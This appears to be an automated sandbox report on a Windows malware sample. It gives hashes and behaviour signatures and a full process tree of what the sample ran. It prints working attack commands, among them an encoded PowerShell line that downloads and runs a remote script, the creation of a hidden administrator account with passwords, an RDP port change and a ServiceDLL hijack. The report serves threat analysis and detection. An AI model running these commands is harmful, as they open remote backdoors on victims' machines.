Resubmissions

02-09-2021 16:57

210902-vgpzjadhhn 10

02-09-2021 16:25

210902-tw1h5sage4 10

02-09-2021 11:31

210902-9dk89x9wb2 10

14-08-2021 13:56

210814-xdxpv1yk2x 10

Analysis

  • max time kernel
    1665s
  • max time network
    1733s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    02-09-2021 16:57

General

  • Target

    472208d7ba18d4c14b7e90b9db5d6feb.exe

  • Size

    5.9MB

  • MD5

    472208d7ba18d4c14b7e90b9db5d6feb

  • SHA1

    ff24cc43998ff99e61b1a838e1d51c4888498935

  • SHA256

    ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d

  • SHA512

    9ce72c4da799273ae13008c0033c3d0638f224042ae3bb7910ffb5f59a64babbcd8039468b0a94b8fa5f3192f543a59f493878ade5233d9958d874d59a1e1a15

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe
    "C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:568
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3144
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\khb00ypm\khb00ypm.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:496
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6363.tmp" "c:\Users\Admin\AppData\Local\Temp\khb00ypm\CSC662AA544276048D0A04263C9CC1ECCAF.TMP"
          4⤵
            PID:760
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2484
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:732
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2784
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:3560
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1592
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:2776
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2172
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:2972
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:732
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1192
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3852
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:3984
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2792
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2912
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3864
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:3264
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:2268
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:188
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2268
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2900
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:3168
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc 1fp0fXTo /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3832
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc 1fp0fXTo /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2476
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc 1fp0fXTo /add
                          3⤵
                            PID:3560
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1860
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4044
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:756
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1644
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1420
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                              3⤵
                                PID:1504
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3836
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3156
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:3752
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc 1fp0fXTo
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2248
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 1fp0fXTo
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:188
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc 1fp0fXTo
                                  3⤵
                                    PID:3972
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2484
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                    PID:2244
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                    PID:1508
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic CPU get NAME
                                      2⤵
                                      • Modifies data under HKEY_USERS
                                      PID:2816
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    1⤵
                                      PID:1192
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        2⤵
                                          PID:2096
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            3⤵
                                            • Blocklisted process makes network request
                                            • Drops file in Program Files directory
                                            • Drops file in Windows directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:3920
                                      • C:\Windows\System32\cmd.exe
                                        cmd.exe /C net user wgautilacc 111213&net user wgautilacc /active:yes
                                        1⤵
                                          PID:2792
                                          • C:\Windows\system32\net.exe
                                            net user wgautilacc 111213
                                            2⤵
                                              PID:3840
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 user wgautilacc 111213
                                                3⤵
                                                  PID:3864
                                              • C:\Windows\system32\net.exe
                                                net user wgautilacc /active:yes
                                                2⤵
                                                  PID:2784
                                                  • C:\Windows\system32\net1.exe
                                                    C:\Windows\system32\net1 user wgautilacc /active:yes
                                                    3⤵
                                                      PID:3032

                                                Network

                                                MITRE ATT&CK Enterprise v6

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • memory/568-118-0x0000028672F65000-0x0000028672F66000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/568-114-0x00000286733A0000-0x00000286737C0000-memory.dmp

                                                  Filesize

                                                  4.1MB

                                                • memory/568-116-0x0000028672F60000-0x0000028672F62000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/568-117-0x0000028672F63000-0x0000028672F65000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/568-119-0x0000028672F66000-0x0000028672F67000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/732-247-0x00000177758A8000-0x00000177758AA000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/732-214-0x00000177758A3000-0x00000177758A5000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/732-213-0x00000177758A0000-0x00000177758A2000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/732-245-0x00000177758A6000-0x00000177758A8000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/2484-193-0x0000028E198B6000-0x0000028E198B8000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/2484-171-0x0000028E198B3000-0x0000028E198B5000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/2484-170-0x0000028E198B0000-0x0000028E198B2000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/2784-290-0x000001F172218000-0x000001F17221A000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/2784-281-0x000001F172216000-0x000001F172218000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/2784-280-0x000001F172213000-0x000001F172215000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/2784-279-0x000001F172210000-0x000001F172212000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/3144-129-0x000001F53EE90000-0x000001F53EE91000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/3144-135-0x000001F525CD0000-0x000001F525CD2000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/3144-152-0x000001F53F390000-0x000001F53F391000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/3144-125-0x000001F53E340000-0x000001F53E341000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/3144-153-0x000001F53F720000-0x000001F53F721000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/3144-151-0x000001F525CD8000-0x000001F525CD9000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/3144-145-0x000001F5261E0000-0x000001F5261E1000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/3144-140-0x000001F525CD6000-0x000001F525CD8000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/3144-136-0x000001F525CD3000-0x000001F525CD5000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/3920-381-0x0000023264163000-0x0000023264165000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/3920-393-0x0000023264168000-0x0000023264169000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/3920-384-0x0000023264166000-0x0000023264168000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/3920-380-0x0000023264160000-0x0000023264162000-memory.dmp

                                                  Filesize

                                                  8KB